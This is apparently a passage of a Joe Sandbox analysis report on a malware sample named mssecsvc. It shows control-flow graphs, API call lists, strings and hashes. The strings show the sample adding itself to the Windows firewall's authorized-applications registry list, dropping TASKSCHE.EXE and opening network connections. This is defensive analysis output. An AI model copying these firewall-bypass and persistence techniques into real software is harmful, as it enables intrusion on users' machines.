388->390 389->356 395 ac425a 389->395 392 ac4274-ac4282 call ac6541 call ac655b 390->392 392->376 400 ac4288-ac4292 Sleep 392->400 395->390 396 ac425c-ac425f 395->396 396->387 400->392 401 ac4294-ac42a5 GetTickCount 400->401 401->376 402 ac42ab-ac42b2 401->402 402->356 402->376
                                                                                          APIs
                                                                                          • GetWindowsDirectoryA.KERNEL32(C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe,00000104), ref: 00AC3CA1
                                                                                          • GetProcAddress.KERNEL32(00000000,00000002), ref: 00AC3CD4
                                                                                          • GetProcAddress.KERNEL32(00000000,00AC3D41), ref: 00AC3D4C
                                                                                          • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00AC3D5F
                                                                                          • GetTickCount.KERNEL32 ref: 00AC3D93
                                                                                          • GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00AC6EF6,00000000,00000000,00000000,00000000), ref: 00AC3E65
                                                                                          • GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe,000000C8), ref: 00AC3EE2
                                                                                          Strings
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1, xrefs: 00AC3EF6, 00AC3F08
                                                                                          • ADVAPI32.DLL, xrefs: 00AC3D5E
                                                                                          • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00AC3F0C
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe, xrefs: 00AC3CA0, 00AC3D06, 00AC3D16, 00AC3EDF, 00AC3EF4, 00AC3F0B, 00AC4195, 00AC41DB
                                                                                          • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00AC41DA
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: AddressProc$CountDirectoryFileInformationLibraryLoadModuleNameTickVolumeWindows
                                                                                          • String ID: ADVAPI32.DLL$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                          • API String ID: 1749273276-417985840
                                                                                          • Opcode ID: 11d8e70a6ae69d735f2b35264cad3f706a3a81fbd19f45a2bd40c521d43324e7
                                                                                          • Instruction ID: 80a98cb13cd68459e7336115a6dac1895a87c0bb6ad42bab614eefef71ff2ff4
                                                                                          • Opcode Fuzzy Hash: 11d8e70a6ae69d735f2b35264cad3f706a3a81fbd19f45a2bd40c521d43324e7
                                                                                          • Instruction Fuzzy Hash: 8D02E172408258BFEF21AF248C5AFEA7BACEF41310F06451DE8499E082D7F45F4587A6
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA3CC2 Relevance: 44.2, APIs: 20, Strings: 5, Instructions: 432libraryloaderCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(7FEA3CBA), ref: 7FEA3CC2
                                                                                          • GetProcAddress.KERNEL32(00000000,00000002), ref: 7FEA3CD4
                                                                                          • GetProcAddress.KERNEL32(00000000,7FEA3D41), ref: 7FEA3D4C
                                                                                          • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3D5F
                                                                                          • GetTickCount.KERNEL32 ref: 7FEA3D93
                                                                                          Strings
                                                                                          • C:\WINDOWS\TASKSCHE.EXE, xrefs: 7FEA41DA
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe, xrefs: 7FEA3D16, 7FEA3EDF, 7FEA3EF4, 7FEA3F0B, 7FEA4195, 7FEA41DB
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1, xrefs: 7FEA3EF6, 7FEA3F08
                                                                                          • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3F0C
                                                                                          • ADVAPI32.DLL, xrefs: 7FEA3D5E
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: AddressProc$CountHandleLibraryLoadModuleTick
                                                                                          • String ID: ADVAPI32.DLL$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                          • API String ID: 2837544101-417985840
                                                                                          • Opcode ID: a6ecbdba0e77da1c42fb1fb22e58a019832077429085a03e12af027fb64ba546
                                                                                          • Instruction ID: b4b3212d39e947ac5d9392814a2c7224f35c85923ea667b823aff5088932c5b3
                                                                                          • Opcode Fuzzy Hash: a6ecbdba0e77da1c42fb1fb22e58a019832077429085a03e12af027fb64ba546
                                                                                          • Instruction Fuzzy Hash: 45E11371519348BFEB229F708C4ABFA7BACEF41304F004559EC4A9E081D6F66F059762
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC3CC2 Relevance: 44.2, APIs: 20, Strings: 5, Instructions: 432libraryloaderCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 555 ac3cc2-ac3cca GetModuleHandleA 556 ac3ccc-ac3cdc call ac26d4 GetProcAddress 555->556 557 ac3ce0-ac3dc0 call ac3cf0 GetProcAddress LoadLibraryA call ac10ce call ac01cb GetTickCount call ac3b76 555->557 556->557 563 ac3cde 556->563 570 ac3dc8-ac3dcd call ac3b76 557->570 571 ac3dc2 557->571 563->557 574 ac3dcf-ac3de6 570->574 571->570 575 ac3de8-ac3df8 call ac63a0 call ac273c 574->575 580 ac3dfe-ac3e1a call ac63a0 575->580 581 ac3dfa-ac3dfc 575->581 582 ac3e1b-ac3e1c 580->582 581->582 582->575 584 ac3e1e-ac3e24 582->584 584->574 586 ac3e26-ac3e30 call ac273c 584->586 589 ac3e3f-ac3e78 call ac273c GetVolumeInformationA 586->589 590 ac3e32-ac3e3a call ac2750 586->590 594 ac3e7a-ac3e80 589->594 595 ac3e82-ac3e88 589->595 590->589 596 ac3e91-ac3e9e 594->596 595->596 597 ac3e8a 595->597 598 ac3ea4-ac3ec3 call ac3eb5 596->598 599 ac3f25 596->599 597->596 605 ac3f1c-ac3f1e 598->605 606 ac3ec6-ac3ec8 598->606 600 ac3f2f 599->600 602 ac3f4f-ac3fd1 call ac3f60 call ac10ce call ac3f8f 600->602 603 ac3f31-ac3f49 CreateThread CloseHandle 600->603 618 ac3ffa-ac400b CreateEventA 602->618 619 ac3fd3-ac3ff8 CreateThread CloseHandle 602->619 603->602 605->599 608 ac3f20 call ac3405 605->608 606->600 610 ac3eca-ac3f14 GetModuleFileNameA wsprintfA 606->610 608->599 610->605 620 ac4012-ac402a call ac37fa 618->620 619->618 623 ac402c-ac402f 620->623 624 ac4031-ac4044 call ac3b90 620->624 623->624 625 ac404c-ac4054 623->625 632 ac42be-ac42c5 624->632 633 ac404a 624->633 627 ac4065-ac406e gethostbyname 625->627 628 ac4056-ac4063 lstrlen 625->628 630 ac4074-ac407b 627->630 631 ac4315-ac431b 627->631 628->627 628->628 634 ac4081-ac40a0 socket 630->634 631->620 635 ac42c7-ac42ce 632->635 636 ac4320-ac4322 RtlExitUserThread 632->636 633->634 634->632 639 ac40a6-ac40b9 connect 634->639 637 ac42d0-ac42dc SetEvent 635->637 638 ac42e2-ac42e9 635->638 637->638 640 ac42eb 638->640 641 ac42f2-ac4310 Sleep ResetEvent 638->641 642 ac40bf-ac416e call ac273c call ac2750 GetVersionExA call ac2750 call ac3358 call ac4178 639->642 643 ac42b7-ac42b8 closesocket 639->643 640->641 641->620 654 ac4195-ac41a5 call ac3358 642->654 655 ac4170 642->655 643->632 661 ac41a7-ac41bd CreateThread CloseHandle 654->661 662 ac41c3-ac41ca 654->662 656 ac4192-ac4194 655->656 657 ac4172-ac418c wsprintfA 655->657 656->654 657->656 659 ac418e 657->659 659->656 661->662 663 ac41d0-ac41eb 662->663 665 ac41ed-ac41f4 663->665 666 ac4210-ac4214 663->666 665->666 667 ac41f6-ac4207 GetTickCount 665->667 666->643 668 ac421a-ac421c 666->668 667->666 669 ac4209 667->669 670 ac421e-ac4236 668->670 669->666 671 ac4238 670->671 672 ac423b-ac4243 670->672 671->672 672->670 673 ac4245 672->673 674 ac424b-ac424f 673->674 675 ac4261-ac4263 674->675 676 ac4251-ac4258 call ac2f08 674->676 677 ac4265-ac426f 675->677 676->643 682 ac425a 676->682 679 ac4274-ac4282 call ac6541 call ac655b 677->679 679->663 687 ac4288-ac4292 Sleep 679->687 682->677 683 ac425c-ac425f 682->683 683->674 687->679 688 ac4294-ac42a5 GetTickCount 687->688 688->663 689 ac42ab-ac42b2 688->689 689->643 689->663
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(00AC3CBA), ref: 00AC3CC2
                                                                                          • GetProcAddress.KERNEL32(00000000,00000002), ref: 00AC3CD4
                                                                                          • GetProcAddress.KERNEL32(00000000,00AC3D41), ref: 00AC3D4C
                                                                                          • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00AC3D5F
                                                                                          • GetTickCount.KERNEL32 ref: 00AC3D93
                                                                                          Strings
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1, xrefs: 00AC3EF6, 00AC3F08
                                                                                          • ADVAPI32.DLL, xrefs: 00AC3D5E
                                                                                          • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00AC3F0C
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe, xrefs: 00AC3D16, 00AC3EDF, 00AC3EF4, 00AC3F0B, 00AC4195, 00AC41DB
                                                                                          • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00AC41DA
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: AddressProc$CountHandleLibraryLoadModuleTick
                                                                                          • String ID: ADVAPI32.DLL$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                          • API String ID: 2837544101-417985840
                                                                                          • Opcode ID: a6ecbdba0e77da1c42fb1fb22e58a019832077429085a03e12af027fb64ba546
                                                                                          • Instruction ID: 4b9440342b2253e287d26fee50ab9d9f9a533643b4c8261a8e69d5845adde2d2
                                                                                          • Opcode Fuzzy Hash: a6ecbdba0e77da1c42fb1fb22e58a019832077429085a03e12af027fb64ba546
                                                                                          • Instruction Fuzzy Hash: EBE10172508258BFEF25AF248C5AFEA7BACEF41300F06451DEC499E082D6F45F4587A6
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA3CF0 Relevance: 44.2, APIs: 20, Strings: 5, Instructions: 409COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(7FEA3CE5), ref: 7FEA3CF0
                                                                                          • GetSystemDirectoryA.KERNEL32(C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe,00000104), ref: 7FEA3D07
                                                                                            • Part of subcall function 7FEA3D1F: lstrcat.KERNEL32(C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe,7FEA3D12), ref: 7FEA3D20
                                                                                            • Part of subcall function 7FEA3D1F: GetProcAddress.KERNEL32(00000000,7FEA3D41), ref: 7FEA3D4C
                                                                                            • Part of subcall function 7FEA3D1F: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3D5F
                                                                                            • Part of subcall function 7FEA3D1F: GetTickCount.KERNEL32 ref: 7FEA3D93
                                                                                            • Part of subcall function 7FEA3D1F: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,7FEA6EF6,00000000,00000000,00000000,00000000), ref: 7FEA3E65
                                                                                          Strings
                                                                                          • C:\WINDOWS\TASKSCHE.EXE, xrefs: 7FEA41DA
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe, xrefs: 7FEA3D06, 7FEA3D16, 7FEA3EDF, 7FEA3EF4, 7FEA3F0B, 7FEA4195, 7FEA41DB
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1, xrefs: 7FEA3EF6, 7FEA3F08
                                                                                          • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3F0C
                                                                                          • ADVAPI32.DLL, xrefs: 7FEA3D5E
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: AddressCountDirectoryHandleInformationLibraryLoadModuleProcSystemTickVolumelstrcat
                                                                                          • String ID: ADVAPI32.DLL$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                          • API String ID: 215653160-417985840
                                                                                          • Opcode ID: cd28a5bb51607502b6a1d28e904626137af5b7f109cbf1ae294eaab79654ac09
                                                                                          • Instruction ID: 7541589ca8aef85322091197c42534de99d7bca435932005a89768fd23254656
                                                                                          • Opcode Fuzzy Hash: cd28a5bb51607502b6a1d28e904626137af5b7f109cbf1ae294eaab79654ac09
                                                                                          • Instruction Fuzzy Hash: 4CE1F171409348BFEB229F708C4ABFA7BACEF42304F004559EC4A9E091D6F66F0597A1
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC3CF0 Relevance: 44.2, APIs: 20, Strings: 5, Instructions: 409COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(00AC3CE5), ref: 00AC3CF0
                                                                                          • GetSystemDirectoryA.KERNEL32(C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe,00000104), ref: 00AC3D07
                                                                                            • Part of subcall function 00AC3D1F: lstrcat.KERNEL32(C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe,00AC3D12), ref: 00AC3D20
                                                                                            • Part of subcall function 00AC3D1F: GetProcAddress.KERNEL32(00000000,00AC3D41), ref: 00AC3D4C
                                                                                            • Part of subcall function 00AC3D1F: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00AC3D5F
                                                                                            • Part of subcall function 00AC3D1F: GetTickCount.KERNEL32 ref: 00AC3D93
                                                                                            • Part of subcall function 00AC3D1F: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00AC6EF6,00000000,00000000,00000000,00000000), ref: 00AC3E65
                                                                                          Strings
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1, xrefs: 00AC3EF6, 00AC3F08
                                                                                          • ADVAPI32.DLL, xrefs: 00AC3D5E
                                                                                          • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00AC3F0C
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe, xrefs: 00AC3D06, 00AC3D16, 00AC3EDF, 00AC3EF4, 00AC3F0B, 00AC4195, 00AC41DB
                                                                                          • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00AC41DA
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: AddressCountDirectoryHandleInformationLibraryLoadModuleProcSystemTickVolumelstrcat
                                                                                          • String ID: ADVAPI32.DLL$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                          • API String ID: 215653160-417985840
                                                                                          • Opcode ID: cd28a5bb51607502b6a1d28e904626137af5b7f109cbf1ae294eaab79654ac09
                                                                                          • Instruction ID: 300dc2e70911624c4798ccc50677d5959064c040c3365b7c78012bb061d11580
                                                                                          • Opcode Fuzzy Hash: cd28a5bb51607502b6a1d28e904626137af5b7f109cbf1ae294eaab79654ac09
                                                                                          • Instruction Fuzzy Hash: F5E10172408248BFEF259F248C5AFEA7BACEF41300F06455DEC4A9E082D6F45F4587A5
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA3D1F Relevance: 42.4, APIs: 19, Strings: 5, Instructions: 389stringCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • lstrcat.KERNEL32(C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe,7FEA3D12), ref: 7FEA3D20
                                                                                            • Part of subcall function 7FEA3D36: LoadLibraryA.KERNEL32(7FEA3D2B), ref: 7FEA3D36
                                                                                            • Part of subcall function 7FEA3D36: GetProcAddress.KERNEL32(00000000,7FEA3D41), ref: 7FEA3D4C
                                                                                            • Part of subcall function 7FEA3D36: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3D5F
                                                                                            • Part of subcall function 7FEA3D36: GetTickCount.KERNEL32 ref: 7FEA3D93
                                                                                            • Part of subcall function 7FEA3D36: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,7FEA6EF6,00000000,00000000,00000000,00000000), ref: 7FEA3E65
                                                                                          Strings
                                                                                          • C:\WINDOWS\TASKSCHE.EXE, xrefs: 7FEA41DA
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe, xrefs: 7FEA3D1F, 7FEA3EDF, 7FEA3EF4, 7FEA3F0B, 7FEA4195, 7FEA41DB
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1, xrefs: 7FEA3EF6, 7FEA3F08
                                                                                          • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3F0C
                                                                                          • ADVAPI32.DLL, xrefs: 7FEA3D5E
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: LibraryLoad$AddressCountInformationProcTickVolumelstrcat
                                                                                          • String ID: ADVAPI32.DLL$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                          • API String ID: 2038497427-417985840
                                                                                          • Opcode ID: 5a76be44ed4f92b9dccb11bf418610a86d6d8c7d9316cc10d01e71e8a6162f38
                                                                                          • Instruction ID: aa1c8551e8f76fbb525208f0bea2f920101e632125f5267fb1ed65396364aa08
                                                                                          • Opcode Fuzzy Hash: 5a76be44ed4f92b9dccb11bf418610a86d6d8c7d9316cc10d01e71e8a6162f38
                                                                                          • Instruction Fuzzy Hash: A2E1F071419348BFEB229F748C4ABFA7BACEF42304F004559E84A9E081DAF66F059765
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC3D1F Relevance: 42.4, APIs: 19, Strings: 5, Instructions: 389stringCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • lstrcat.KERNEL32(C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe,00AC3D12), ref: 00AC3D20
                                                                                            • Part of subcall function 00AC3D36: LoadLibraryA.KERNEL32(00AC3D2B), ref: 00AC3D36
                                                                                            • Part of subcall function 00AC3D36: GetProcAddress.KERNEL32(00000000,00AC3D41), ref: 00AC3D4C
                                                                                            • Part of subcall function 00AC3D36: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00AC3D5F
                                                                                            • Part of subcall function 00AC3D36: GetTickCount.KERNEL32 ref: 00AC3D93
                                                                                            • Part of subcall function 00AC3D36: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00AC6EF6,00000000,00000000,00000000,00000000), ref: 00AC3E65
                                                                                          Strings
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1, xrefs: 00AC3EF6, 00AC3F08
                                                                                          • ADVAPI32.DLL, xrefs: 00AC3D5E
                                                                                          • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00AC3F0C
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe, xrefs: 00AC3D1F, 00AC3EDF, 00AC3EF4, 00AC3F0B, 00AC4195, 00AC41DB
                                                                                          • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00AC41DA
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: LibraryLoad$AddressCountInformationProcTickVolumelstrcat
                                                                                          • String ID: ADVAPI32.DLL$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                          • API String ID: 2038497427-417985840
                                                                                          • Opcode ID: 5a76be44ed4f92b9dccb11bf418610a86d6d8c7d9316cc10d01e71e8a6162f38
                                                                                          • Instruction ID: 4ade996946205155614f7ba88722abb3cb745b155a53f503ee0e4ca1bdc71565
                                                                                          • Opcode Fuzzy Hash: 5a76be44ed4f92b9dccb11bf418610a86d6d8c7d9316cc10d01e71e8a6162f38
                                                                                          • Instruction Fuzzy Hash: 02E1FF72508248BFEF25AF248C5AFEA7BACEF41300F06455DEC4A9E082D6F45F4587A5
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA3D36 Relevance: 42.4, APIs: 19, Strings: 5, Instructions: 379libraryCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • LoadLibraryA.KERNEL32(7FEA3D2B), ref: 7FEA3D36
                                                                                            • Part of subcall function 7FEA3D4B: GetProcAddress.KERNEL32(00000000,7FEA3D41), ref: 7FEA3D4C
                                                                                            • Part of subcall function 7FEA3D4B: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3D5F
                                                                                            • Part of subcall function 7FEA3D4B: GetTickCount.KERNEL32 ref: 7FEA3D93
                                                                                            • Part of subcall function 7FEA3D4B: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,7FEA6EF6,00000000,00000000,00000000,00000000), ref: 7FEA3E65
                                                                                          Strings
                                                                                          • C:\WINDOWS\TASKSCHE.EXE, xrefs: 7FEA41DA
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe, xrefs: 7FEA3EDF, 7FEA3EF4, 7FEA3F0B, 7FEA4195, 7FEA41DB
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1, xrefs: 7FEA3EF6, 7FEA3F08
